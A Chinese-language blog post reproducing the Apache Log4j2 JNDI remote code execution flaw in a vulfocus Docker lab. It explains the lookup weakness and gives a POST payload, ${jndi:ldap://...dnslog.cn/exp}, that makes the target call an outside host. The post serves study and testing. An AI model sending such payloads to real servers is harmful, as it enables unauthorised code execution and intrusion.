Apache log4j2 遠端程式碼執行漏洞復現?

胖三斤1發表於2021-12-14

Apache log4j2 遠端程式碼執行漏洞復現?

最近爆出的一個Apache log4j2的遠端程式碼執行漏洞聽說危害程度極大哈,我想著也來找一下環境看看試一下。找了一會環境還真找到一個。

漏洞原理:

Apache Log4j2 中存在JNDI注入漏洞,當程式將使用者輸入的資料進行日誌記錄時,即可觸發此漏洞,成功利用此漏洞可以在目標伺服器上執行任意程式碼。

通俗簡單的說就是:在列印日誌的時候,如果你的日誌內容中包含關鍵詞 ${,攻擊者就能將關鍵字所包含的內容當作變數來替換成任何攻擊命令,並且執行

Apache Log4j2 是一款開源的 Java 日誌記錄工具,大量的業務框架都使用了該元件。此次漏洞是用於 Log4j2 提供的 lookup 功能造成的,該功能允許開發者通過一些協議去讀取相應環境中的配置。但在實現的過程中,並未對輸入進行嚴格的判斷,從而造成漏洞的發生。

漏洞詳情:

Apache Log4j 遠端程式碼執行漏洞 嚴重程度: 嚴重由於Apache Log4j2某些功能存在遞迴解析功能,攻擊者可直接構造惡意請求,觸發遠端程式碼執行漏洞。漏洞利用無需特殊配置漏洞情況分析:Apache Log4j是一個基於Java的日誌記錄元件。Apache Log4j2是Log4j的升級版本,通過重寫Log4j引入了豐富的功能特性。該日誌元件被廣泛應用於業務系統開發,用以記錄程式輸入輸出日誌資訊。2021年11月24日,阿里雲安全團隊向Apache官方報告了Apache Log4j2遠端程式碼執行漏洞。由於Log4j2元件在處理程式日誌記錄時存在JNDI注入缺陷,未經授權的攻擊者利用該漏洞,可向目標伺服器傳送精心構造的惡意資料,觸發Log4j2元件解析缺陷,實現目標伺服器的任意程式碼執行,獲得目標伺服器許可權。

環境搭建

環境地址:http://vulfocus.fofa.so/#/dashboard
找到了一個docker環境,vulfocus上面可以直接拉取Apache log4j2的環境復現

  1. 安裝docker
  2. 安裝vulfocus
  3. 直接拉去log4j2環境映象啟動就行

image

前兩步安裝docker以及安裝vulfocus可以參考如下連結:
https://blog.csdn.net/m0_50406447/article/details/119169686

漏洞復現

啟動環境之後開啟IP得到如下頁面:

image

訪問如下URL地址:http://vulfocus.fofa.so:43133/hello
然後通過POST傳入如下payload驗證dns訪問:
payload:payload=${jndi:ldap://wdhcrj.dnslog.cn/exp}

image

我們發現成功回顯結果,說明執行成功。

下面貼上細節分析的連結:
https://bbs.ichunqiu.com/thread-62322-1-1.html


相關文章